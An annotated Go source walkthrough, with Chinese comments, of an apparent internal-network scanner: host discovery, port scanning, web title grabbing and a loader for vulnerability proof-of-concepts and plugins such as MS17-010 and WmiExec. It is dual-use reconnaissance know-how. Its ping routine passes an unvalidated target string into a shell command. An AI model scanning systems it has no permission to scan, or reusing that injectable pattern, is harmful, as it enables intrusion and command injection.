func main() {
    start := time.Now()

    //     type HostInfo struct {
    //  Host    string
    //  Ports   string
    //  Url     string
    //  Infostr []string
    // }
    var Info common.HostInfo
    // 参数解析，填充hostinfo
    common.Flag(&Info)
    common.Parse(&Info)
    Plugins.Scan(Info)
    fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start))
}

func Flag(Info *HostInfo) {
    ......
    flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
    flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
    flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
    flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
    ......
}

func Parse(Info *HostInfo) {
    ParseUser()
    ParsePass(Info)
    ParseInput(Info)
    ParseScantype(Info)
}

func ParseScantype(Info *HostInfo) {
    _, ok := PORTList[Scantype]
    if !ok {
        showmode()
    }
    if Scantype != "all" && Ports == DefaultPorts+","+Webport {
        switch Scantype {
        case "wmiexec":
            Ports = "135"
        case "wmiinfo":
            Ports = "135"
        case "smbinfo":
            Ports = "445"
        case "hostname":
            Ports = "135,137,139,445"
        case "smb2":
            Ports = "445"
        case "web":
            Ports = Webport
        case "webonly":
            Ports = Webport
        case "ms17010":
            Ports = "445"
        case "cve20200796":
            Ports = "445"
        case "portscan":
            Ports = DefaultPorts + "," + Webport
        case "main":
            Ports = DefaultPorts
        default:
            port, _ := PORTList[Scantype]
            Ports = strconv.Itoa(port)
        }
        fmt.Println("-m ", Scantype, " start scan the port:", Ports)
    }
}

fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
if err != nil {
    fmt.Println("len(hosts)==0", err)
    return
}

func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
    if filename == "" && strings.Contains(host, ":") {
        //192.168.0.0/16:80
        hostport := strings.Split(host, ":")
        if len(hostport) == 2 {
            host = hostport[0]
            hosts = ParseIPs(host)
            Ports = hostport[1]
        }
    } else {
        hosts = ParseIPs(host)
        if filename != "" {
            var filehost []string
            filehost, _ = Readipfile(filename)
            hosts = append(hosts, filehost...)
        }
    }

func ParseIPs(ip string) (hosts []string) {
    // 按逗号分隔IP
    if strings.Contains(ip, ",") {
        IPList := strings.Split(ip, ",")
        var ips []string
        for _, ip := range IPList {
            // 检测每一个ip
            ips = parseIP(ip)
            // 传出的数据加入hosts切片
            hosts = append(hosts, ips...)
        }
    } else {
        hosts = parseIP(ip)
    }
    return hosts
}

func parseIP(ip string) []string {
    reg := regexp.MustCompile(`[a-zA-Z]+`)
    switch {
    case ip == "192":
        return parseIP("192.168.0.0/8")
    case ip == "172":
        return parseIP("172.16.0.0/12")
    case ip == "10":
        return parseIP("10.0.0.0/8")
    // 扫描/8时,只扫网关和随机IP,避免扫描过多IP
    case strings.HasSuffix(ip, "/8"):
        return parseIP8(ip)
    //解析 /24 /16 /8 /xxx 等
    case strings.Contains(ip, "/"):
        return parseIP2(ip)
    //可能是域名,用lookup获取ip
    case reg.MatchString(ip):
        //  _, err := net.LookupHost(ip)
        //  if err != nil {
        //      return nil
        //  }
        return []string{ip}
    //192.168.1.1-192.168.1.100
    case strings.Contains(ip, "-"):
        return parseIP1(ip)
    //处理单个ip
    default:
        // 判断IP合法性，合法就将ip字符串返回，并加入切片
        testIP := net.ParseIP(ip)
        if testIP == nil {
            return nil
        }
        // 单个IP仍返回切片，需要满足函数原型要求
        return []string{ip}
    }
}

lib.Inithttp()

// 自定义http客户端初始化
func Inithttp() {
    //common.Proxy = "http://127.0.0.1:8080"
    // -num int
    //   web poc 发包速率  (default 20)
    if common.PocNum == 0 {
        common.PocNum = 20
    }
    if common.WebTimeout == 0 {
        common.WebTimeout = 5
    }
    err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
    if err != nil {
        panic(err)
    }
}

var (
    Client           *http.Client
    ClientNoRedirect *http.Client
    dialTimout       = 5 * time.Second
    keepAlive        = 5 * time.Second
)
..........
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
    // 定义一个函数类型，用于创建网络连接
    type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)

    // 创建一个网络拨号器，用于设置连接的超时和保活时间
    dialer := &net.Dialer{
        Timeout:   dialTimout,
        KeepAlive: keepAlive,
    }

    // 创建一个 HTTP 传输层，用于设置 HTTP 请求的传输参数
    tr := &http.Transport{
        DialContext:         dialer.DialContext, // 使用拨号器创建连接
        MaxConnsPerHost:     5, // 每个主机的最大连接数
        MaxIdleConns:        0, // 最大空闲连接数
        MaxIdleConnsPerHost: ThreadsNum * 2, // 每个主机的最大空闲连接数
        IdleConnTimeout:     keepAlive, // 空闲连接的超时时间
        TLSClientConfig:     &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, // TLS 配置，设置最低版本和跳过证书验证
        TLSHandshakeTimeout: 5 * time.Second, // TLS 握手的超时时间
        DisableKeepAlives:   false, // 是否禁用长连接
    }

    // 如果设置了 Socks5 代理，使用代理拨号器替换默认的拨号器
    if common.Socks5Proxy != "" {
        dialSocksProxy, err := common.Socks5Dailer(dialer) // 创建代理拨号器
        if err != nil {
            return err // 如果出错，返回错误
        }
        if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok { // 如果代理拨号器实现了 ContextDialer 接口
            tr.DialContext = contextDialer.DialContext // 使用代理拨号器创建连接
        } else {
            return errors.New("Failed type assertion to DialContext") // 如果没有实现，返回错误
        }
    } else if DownProxy != "" { // 如果设置了其他代理
        if DownProxy == "1" { // 如果代理为 1 ，使用默认的 HTTP 代理
            DownProxy = "http://127.0.0.1:8080"
        } else if DownProxy == "2" { // 如果代理为 2 ，使用默认的 Socks5 代理
            DownProxy = "socks5://127.0.0.1:1080"
        } else if !strings.Contains(DownProxy, "://") { // 如果代理没有指定协议，使用默认的 HTTP 代理
            DownProxy = "http://127.0.0.1:" + DownProxy
        }
        if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { // 如果代理不是 Socks 或 HTTP 协议，返回错误
            return errors.New("no support this proxy")
        }
        u, err := url.Parse(DownProxy) // 解析代理的 URL
        if err != nil {
            return err // 如果出错，返回错误
        }
        tr.Proxy = http.ProxyURL(u) // 设置 HTTP 传输层的代理
    }

    // 创建一个 HTTP 客户端，使用 HTTP 传输层和超时时间
    Client = &http.Client{
        Transport: tr,
        Timeout:   Timeout,
    }
    // 创建一个不自动跟随重定向的 HTTP 客户端，使用 HTTP 传输层和超时时间
    ClientNoRedirect = &http.Client{
        Transport:     tr,
        Timeout:       Timeout,
        // ErrUseLastResponse can be returned by Client.CheckRedirect hooks to
        // control how redirects are processed. If returned, the next request
        // is not sent and the most recent response is returned with its body
        // unclosed.
        // var ErrUseLastResponse = errors.New("net/http: use last response")
        CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, // 设置不跟随重定向的函数
    }
    return nil // 返回 nil 表示成功
}

if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
    Hosts = CheckLive(Hosts, common.Ping)
    fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if common.Scantype == "icmp" {
    common.LogWG.Wait()
    return
}

var (
    AliveHosts []string
    ExistHosts = make(map[string]struct{})
    livewg     sync.WaitGroup
)

func CheckLive(hostslist []string, Ping bool) []string {
    chanHosts := make(chan string, len(hostslist))
    // 开启协程用来检查传入管道的是否
    // 已经记录在hashmap中
    // 或者存在于传入的hostslist中
    go func() {
        for ip := range chanHosts {
            // 如果ip尚不存在hashmap中，且存在于传入的hostslist中，则
            if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
                // 置空值，只留下ip键，节省内存
                ExistHosts[ip] = struct{}{}
                if common.Silent == false {
                    if Ping == false {
                        fmt.Printf("(icmp) Target %-15s is alive\n", ip)
                    } else {
                        fmt.Printf("(ping) Target %-15s is alive\n", ip)
                    }
                }
                // 加入到存活主机中
                AliveHosts = append(AliveHosts, ip)
            }
            // 告知原子锁协程工作完成
            livewg.Done()
        }
    }()

if Ping == true {
    //使用ping探测
    RunPing(hostslist, chanHosts)
} else {
    //优先尝试监听本地icmp,批量探测
    conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
    ......
}

ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false

func RunPing(hostslist []string, chanHosts chan string) {
    var wg sync.WaitGroup
    limiter := make(chan struct{}, 50)
    for _, host := range hostslist {
        wg.Add(1)
        limiter <- struct{}{}
        go func(host string) {
            if ExecCommandPing(host) {
                livewg.Add(1)
                chanHosts <- host
            }
            <-limiter
            wg.Done()
        }(host)
    }
    wg.Wait()
}

func ExecCommandPing(ip string) bool {
    var command *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
    case "darwin":
        command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
    default: //linux
        command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
    }
    outinfo := bytes.Buffer{}
    command.Stdout = &outinfo
    err := command.Start()
    if err != nil {
        return false
    }
    if err = command.Wait(); err != nil {
        return false
    } else {
        if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
            return true
        } else {
            return false
        }
    }
}

if Ping == true {
    //使用ping探测
    RunPing(hostslist, chanHosts)
} else {
    //优先尝试监听本地icmp,批量探测
    conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
    if err == nil {
        RunIcmp1(hostslist, conn, chanHosts)
    } else {
        common.LogError(err)
        //尝试无监听icmp探测
        fmt.Println("trying RunIcmp2")
        conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
        defer func() {
            if conn != nil {
                conn.Close()
            }
        }()
        if err == nil {
            RunIcmp2(hostslist, chanHosts)
        } else {
            common.LogError(err)
            //使用ping探测
            fmt.Println("The current user permissions unable to send icmp packets")
            fmt.Println("start ping")
            RunPing(hostslist, chanHosts)
        }
    }
}

// 用于生成序列号
func genSequence(v int16) (byte, byte) {
    ret1 := byte(v >> 8) // 将整数右移 8 位，取最高 8 位，转换为字节
    ret2 := byte(v & 255) // 将整数与 255 进行按位与运算，取最低 8 位，转换为字节
    return ret1, ret2 // 返回两个字节
}

// 用于生成标识符
func genIdentifier(host string) (byte, byte) {
    return host[0], host[1] // 返回主机名的第一个和第二个字符对应的字节
}

// 用于计算校验和，传入整个msg切片（0-40）
func checkSum(msg []byte) uint16 {
    sum := 0 // 定义一个整数变量，用于存储求和的结果
    length := len(msg) // 定义一个整数变量，用于存储字节切片的长度
    for i := 0; i < length-1; i += 2 { // 用一个循环，从第一个字节开始，每次跳过一个字节，直到倒数第二个字节
        sum += int(msg[i])*256 + int(msg[i+1]) // 将每两个字节看成一个 16 位的数，乘以 256 和加上，然后累加到 sum 中
    }
    if length%2 == 1 { // 如果字节切片的长度是奇数，说明最后还剩一个字节
        sum += int(msg[length-1]) * 256 // 将最后一个字节看成一个 16 位的数，乘以 256，然后累加到 sum 中
    }
    sum = (sum >> 16) + (sum & 0xffff) // 将 sum 的高 16 位和低 16 位相加，得到一个新的 sum
    sum = sum + (sum >> 16) // 如果新的 sum 的高 16 位不为 0，将其加到低 16 位上，得到一个最终的 sum
    answer := uint16(^sum) // 将 sum 取反，得到一个 uint16 类型的值，赋给 answer
    return answer // 返回 answer
}

// 定义一个函数，用于构造 ICMP 数据包，参数是一个字符串类型的主机名，返回一个字节切片
func makemsg(host string) []byte {
    msg := make([]byte, 40) // 创建一个长度为 40 的字节切片，用于存储 ICMP 数据包
    id0, id1 := genIdentifier(host) // 调用 genIdentifier 函数，根据主机名生成标识符
    msg[0] = 8 // 设置 ICMP 数据包的类型字段为 8 ，表示回显请求
    msg[1] = 0 // 设置 ICMP 数据包的代码字段为 0 ，表示无特殊含义
    msg[2] = 0 // 设置 ICMP 数据包的校验和字段的高 8 位为 0 ，暂时不计算校验和
    msg[3] = 0 // 设置 ICMP 数据包的校验和字段的低 8 位为 0 ，暂时不计算校验和
    msg[4], msg[5] = id0, id1 // 设置 ICMP 数据包的标识符字段为主机名的前两个字符对应的字节
    msg[6], msg[7] = genSequence(1) // 设置 ICMP 数据包的序列号字段为 1 对应的两个字节
    check := checkSum(msg[0:40]) // 调用 checkSum 函数，计算 ICMP 数据包的校验和，参数是数据包的前 40 个字节
    msg[2] = byte(check >> 8) // 设置 ICMP 数据包的校验和字段的高 8 位为校验和的高 8 位
    msg[3] = byte(check & 255) // 设置 ICMP 数据包的校验和字段的低 8 位为校验和的低 8 位
    return msg // 返回 ICMP 数据包的字节切片
}

func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
    endflag := false
    // 协程进行监听icmp连接，如果有返回包的，将IP通过管道传回检测协程
    go func() {
        for {
            if endflag == true {
                return
            }
            msg := make([]byte, 100)
            _, sourceIP, _ := conn.ReadFrom(msg)
            if sourceIP != nil {
                livewg.Add(1)
                chanHosts <- sourceIP.String()
            }
        }
    }()

    // 向所有host发送icmp数据包
    for _, host := range hostslist {
        dst, _ := net.ResolveIPAddr("ip", host)
        IcmpByte := makemsg(host)
        conn.WriteTo(IcmpByte, dst)
    }
    //根据hosts数量修改icmp监听时间
    start := time.Now()
    for {
        if len(AliveHosts) == len(hostslist) {
            break
        }
        since := time.Since(start)
        var wait time.Duration
        switch {
        case len(hostslist) <= 256:
            wait = time.Second * 3
        default:
            wait = time.Second * 6
        }
        if since > wait {
            break
        }
    }
    endflag = true
    conn.Close()
}

func icmpalive(host string) bool {
    startTime := time.Now()
    conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
    if err != nil {
        return false
    }
    defer conn.Close()
    if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
        return false
    }
    msg := makemsg(host)
    if _, err := conn.Write(msg); err != nil {
        return false
    }

    receive := make([]byte, 60)
    if _, err := conn.Read(receive); err != nil {
        return false
    }

    return true
}

var AlivePorts []string

if common.Scantype == "webonly" || common.Scantype == "webpoc" {
    AlivePorts = NoPortScan(Hosts, common.Ports)
} else if common.Scantype == "hostname" {
    common.Ports = "139"
    AlivePorts = NoPortScan(Hosts, common.Ports)
} else if len(Hosts) > 0 {
    AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
    fmt.Println("[*] alive ports len is:", len(AlivePorts))
    if common.Scantype == "portscan" {
        common.LogWG.Wait()
        return
    }
}
// 去重
if len(common.HostPort) > 0 {
    AlivePorts = append(AlivePorts, common.HostPort...)
    AlivePorts = common.RemoveDuplicate(AlivePorts)
    common.HostPort = nil
    fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
}
// 获取服务端口
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
    severports = append(severports, strconv.Itoa(port))
}

func PortScan(hostslist []string, ports string, timeout int64) []string {
    var AliveAddress []string
    probePorts := common.ParsePort(ports)
    if len(probePorts) == 0 {
        fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
        return AliveAddress
    }
    noPorts := common.ParsePort(common.NoPorts)
    if len(noPorts) > 0 {
        temp := map[int]struct{}{}
        for _, port := range probePorts {
            temp[port] = struct{}{}
        }

        for _, port := range noPorts {
            delete(temp, port)
        }

        var newDatas []int
        for port := range temp {
            newDatas = append(newDatas, port)
        }
        probePorts = newDatas
        sort.Ints(probePorts)
    }
    workers := common.Threads
    Addrs := make(chan Addr, len(hostslist)*len(probePorts))
    results := make(chan string, len(hostslist)*len(probePorts))
    var wg sync.WaitGroup

    //接收结果
    go func() {
        for found := range results {
            AliveAddress = append(AliveAddress, found)
            wg.Done()
        }
    }()

    //多线程扫描
    for i := 0; i < workers; i++ {
        go func() {
            for addr := range Addrs {
                PortConnect(addr, results, timeout, &wg)
                wg.Done()
            }
        }()
    }

    //添加扫描目标
    for _, port := range probePorts {
        for _, host := range hostslist {
            wg.Add(1)
            Addrs <- Addr{host, port}
        }
    }
    wg.Wait()
    close(Addrs)
    close(results)
    return AliveAddress
}

func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
    host, port := addr.ip, addr.port
    conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
    if err == nil {
        defer conn.Close()
        address := host + ":" + strconv.Itoa(port)
        result := fmt.Sprintf("%s open", address)
        common.LogSuccess(result)
        wg.Add(1)
        respondingHosts <- address
    }
}

func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
    d := &net.Dialer{Timeout: timeout}
    return WrapperTCP(network, address, d)
}

func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
    //get conn
    var conn net.Conn
    if Socks5Proxy == "" {
        var err error
        conn, err = forward.Dial(network, address)
        if err != nil {
            return nil, err
        }
    } else {
        dailer, err := Socks5Dailer(forward)
        if err != nil {
            return nil, err
        }
        conn, err = dailer.Dial(network, address)
        if err != nil {
            return nil, err
        }
    }
    return conn, nil

}

fmt.Println("start vulscan")
        for _, targetIP := range AlivePorts {
            info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
            if common.Scantype == "all" || common.Scantype == "main" {
                switch {
                case info.Ports == "135":
                    AddScan(info.Ports, info, &ch, &wg) //findnet
                    if common.IsWmi {
                        AddScan("1000005", info, &ch, &wg) //wmiexec
                    }
                case info.Ports == "445":
                    AddScan(ms17010, info, &ch, &wg) //ms17010
                    //AddScan(info.Ports, info, ch, &wg)  //smb
                    //AddScan("1000002", info, ch, &wg) //smbghost
                case info.Ports == "9000":
                    AddScan(web, info, &ch, &wg)        //http
                    AddScan(info.Ports, info, &ch, &wg) //fcgiscan
                case IsContain(severports, info.Ports):
                    AddScan(info.Ports, info, &ch, &wg) //plugins scan
                default:
                    AddScan(web, info, &ch, &wg) //webtitle
                }
            } else {
                scantype := strconv.Itoa(common.PORTList[common.Scantype])
                AddScan(scantype, info, &ch, &wg)
            }
        }
    }
    for _, url := range common.Urls {
        info.Url = url
        AddScan(web, info, &ch, &wg)
    }
    wg.Wait()
    common.LogWG.Wait()
    close(common.Results)
    fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
}

func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
    // 用于控制协程数量
    *ch <- struct{}{}
    wg.Add(1)
    go func() {
        Mutex.Lock()
        common.Num += 1
        Mutex.Unlock()
        ScanFunc(&scantype, &info)
        Mutex.Lock()
        common.End += 1
        Mutex.Unlock()
        wg.Done()
        <-*ch
    }()
}

func ScanFunc(name *string, info *common.HostInfo) {
    f := reflect.ValueOf(PluginList[*name])
    in := []reflect.Value{reflect.ValueOf(info)}
    f.Call(in)
}

var PluginList = map[string]interface{}{
    "21":      FtpScan,
    "22":      SshScan,
    "135":     Findnet,
    "139":     NetBIOS,
    "445":     SmbScan,
    "1433":    MssqlScan,
    "1521":    OracleScan,
    "3306":    MysqlScan,
    "3389":    RdpScan,
    "5432":    PostgresScan,
    "6379":    RedisScan,
    "9000":    FcgiScan,
    "11211":   MemcachedScan,
    "27017":   MongodbScan,
    "1000001": MS17010,
    "1000002": SmbGhost,
    "1000003": WebTitle,
    "1000004": SmbScan2,
    "1000005": WmiExec,
}

type HostInfo struct {
    Host    string
    Ports   string
    Url     string
    Infostr []string
}

type HostInfo struct {
    Host    string
    Ports   string
    Url     string
    Infostr []string
}

func WebTitle(info *common.HostInfo) error {
    if common.Scantype == "webpoc" {
        WebScan.WebScan(info)
        return nil
    }
    err, CheckData := GOWebTitle(info)
    info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)

    if !common.NoPoc && err == nil {
        WebScan.WebScan(info)
    } else {
        errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
        common.LogError(errlog)
    }
    return err
}

func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
    if info.Url == "" {
        switch info.Ports {
        case "80":
            info.Url = fmt.Sprintf("http://%s", info.Host)
        case "443":
            info.Url = fmt.Sprintf("https://%s", info.Host)
        default:
            host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
            protocol := GetProtocol(host, common.Timeout)
            info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
        }
    } else {
        if !strings.Contains(info.Url, "://") {
            host := strings.Split(info.Url, "/")[0]
            protocol := GetProtocol(host, common.Timeout)
            info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
        }
    }
.......

func GetProtocol(host string, Timeout int64) (protocol string) {
    protocol = "http"
    //如果端口是80或443,跳过Protocol判断
    if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
        return
    } else if strings.HasSuffix(host, ":443") {
        protocol = "https"
        return
    }

    socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
    if err != nil {
        return
    }
    conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
    defer func() {
        if conn != nil {
            defer func() {
                if err := recover(); err != nil {
                    common.LogError(err)
                }
            }()
            conn.Close()
        }
    }()
    conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
    err = conn.Handshake()
    if err == nil || strings.Contains(err.Error(), "handshake failure") {
        protocol = "https"
    }
    return protocol
}

// 传入的flag控制函数行为
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
    //flag 1 first try
    //flag 2 /favicon.ico
    //flag 3 302
    //flag 4 400 -> https

    Url := info.Url
    // 参数为2，主要获取网站信息，访问的是./favicon.ico
    if flag == 2 {
        // 调用url库，解析url字符串
        URL, err := url.Parse(Url)
        if err == nil {
            // 取出url之后，将Url复用为图标文件路径
            Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
        } else {
            // 若原Url解析失败，则直接在末尾加上图标文件
            Url += "/favicon.ico"
        }
    }
    // 发起一次新的http GET 请求
    req, err := http.NewRequest("GET", Url, nil)
    if err != nil {
        return err, "", CheckData
    }
    // 配置http头
    // UserAgent  = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
    // Accept     = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
    req.Header.Set("User-agent", common.UserAgent)
    req.Header.Set("Accept", common.Accept)
    req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
    if common.Cookie != "" {
    // flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
        req.Header.Set("Cookie", common.Cookie)
    }
    //if common.Pocinfo.Cookie != "" {
    //  req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
    //} else {
    //  req.Header.Set("Cookie", "rememberMe=1")
    //}
    req.Header.Set("Connection", "close")
    var client *http.Client
    // 如果是第一次连接，调用inithttp封装好的连接客户端
    if flag == 1 {
        client = lib.ClientNoRedirect
    } else {
        client = lib.Client
    }

    // clinet客户端发出构建好的请求
    resp, err := client.Do(req)
    if err != nil {
        return err, "https", CheckData
    }

    defer resp.Body.Close()
    var title string
    // 解析响应数据包
    body, err := getRespBody(resp)
    if err != nil {
        return err, "https", CheckData
    }
    // 更新CheckData
    // type CheckDatas struct {
    //  Body    []byte
    //  Headers string
    // }
    CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
    var reurl string

    // 解http响应包
    if flag != 2 {
        if !utf8.Valid(body) {
            // 解GBK编码
            body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
        }
        // 获取title
        title = gettitle(body)
        length := resp.Header.Get("Content-Length")
        if length == "" {
            length = fmt.Sprintf("%v", len(body))
        }
        // 解location头，定位重定向url
        redirURL, err1 := resp.Location()
        if err1 == nil {
            reurl = redirURL.String()
        }
        result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
        if reurl != "" {
            result += fmt.Sprintf(" 跳转url: %s", reurl)
        }
        common.LogSuccess(result)
    }
    if reurl != "" {
        // 返回重定向URL
        return nil, reurl, CheckData
    }
    // status==400 && https:// 
    if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
        return nil, "https", CheckData
    }
    return nil, "", CheckData
}

//有跳转
    if strings.Contains(result, "://") {
        info.Url = result
        // 传入flag=3，处理重定向
        err, result, CheckData = geturl(info, 3, CheckData)
        if err != nil {
            return
        }
    }

    if result == "https" && !strings.HasPrefix(info.Url, "https://") {
        info.Url = strings.Replace(info.Url, "http://", "https://", 1)
        err, result, CheckData = geturl(info, 1, CheckData)
        //有跳转
        if strings.Contains(result, "://") {
            info.Url = result
            err, _, CheckData = geturl(info, 3, CheckData)
            if err != nil {
                return
            }
        }
    }
    //是否访问图标
    //err, _, CheckData = geturl(info, 2, CheckData)
    if err != nil {
        return
    }
    return
}

func getRespBody(oResp *http.Response) ([]byte, error) {
    var body []byte
    if oResp.Header.Get("Content-Encoding") == "gzip" {
        gr, err := gzip.NewReader(oResp.Body)
        if err != nil {
            return nil, err
        }
        defer gr.Close()
        for {
            buf := make([]byte, 1024)
            n, err := gr.Read(buf)
            if err != nil && err != io.EOF {
                return nil, err
            }
            if n == 0 {
                break
            }
            body = append(body, buf...)
        }
    } else {
        raw, err := io.ReadAll(oResp.Body)
        if err != nil {
            return nil, err
        }
        body = raw
    }
    return body, nil
}

func gettitle(body []byte) (title string) {
    re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
    find := re.FindSubmatch(body)
    if len(find) > 1 {
        // 排除空格、换行等字符
        title = string(find[1])
        title = strings.TrimSpace(title)
        title = strings.Replace(title, "\n", "", -1)
        title = strings.Replace(title, "\r", "", -1)
        title = strings.Replace(title, "&nbsp;", " ", -1)
        if len(title) > 100 {
            title = title[:100]
        }
        // 如果是空格，则替换为""
        if title == "" {
            title = "\"\"" //空格
        }
    } else {
        title = "None" //没有title
    }
    return
}

//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc

func WebScan(info *common.HostInfo) {
    once.Do(initpoc)
    // flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
    var pocinfo = common.Pocinfo
    buf := strings.Split(info.Url, "/")
    pocinfo.Target = strings.Join(buf[:3], "/")

    if pocinfo.PocName != "" {
        Execute(pocinfo)
    } else {
        for _, infostr := range info.Infostr {
            pocinfo.PocName = lib.CheckInfoPoc(infostr)
            Execute(pocinfo)
        }
    }
}

func initpoc() {
    if common.PocPath == "" {
        entries, err := Pocs.ReadDir("pocs")
        if err != nil {
            fmt.Printf("[-] init poc error: %v", err)
            return
        }
        for _, one := range entries {
            path := one.Name()
            if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
                if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
                    AllPocs = append(AllPocs, poc)
                }
            }
        }
    } else {
        fmt.Println("[+] load poc from " + common.PocPath)
        err := filepath.Walk(common.PocPath,
            func(path string, info os.FileInfo, err error) error {
                if err != nil || info == nil {
                    return err
                }
                if !info.IsDir() {
                    if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
                        poc, _ := lib.LoadPocbyPath(path)
                        if poc != nil {
                            AllPocs = append(AllPocs, poc)
                        }
                    }
                }
                return nil
            })
        if err != nil {
            fmt.Printf("[-] init poc error: %v", err)
        }
    }
}

func Execute(PocInfo common.PocInfo) {
    req, err := http.NewRequest("GET", PocInfo.Target, nil)
    if err != nil {
        errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
        common.LogError(errlog)
        return
    }
    req.Header.Set("User-agent", common.UserAgent)
    req.Header.Set("Accept", common.Accept)
    req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
    if common.Cookie != "" {
        req.Header.Set("Cookie", common.Cookie)
    }
    pocs := filterPoc(PocInfo.PocName)
    lib.CheckMultiPoc(req, pocs, common.PocNum)
}

func filterPoc(pocname string) (pocs []*lib.Poc) {
    if pocname == "" {
        return AllPocs
    }
    for _, poc := range AllPocs {
        if strings.Contains(poc.Name, pocname) {
            pocs = append(pocs, poc)
        }
    }
    return
}

lib.CheckMultiPoc(req, pocs, common.PocNum)

type Task struct {
    Req *http.Request
    Poc *Poc
    // type Poc struct {
    // Name   string  `yaml:"name"`
    // Set    StrMap  `yaml:"set"`
    // Sets   ListMap `yaml:"sets"`
    // Rules  []Rules `yaml:"rules"`
    // Groups RuleMap `yaml:"groups"`
    // Detail Detail  `yaml:"detail"`
}
}

func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
    tasks := make(chan Task)
    var wg sync.WaitGroup
    // 根据传入的pocnum开始发起poc扫描
    for i := 0; i < workers; i++ {
        // 启动poc对应的任务处理线程
        go func() {
            for task := range tasks {
                // 检查接受的task的请求是否是漏洞
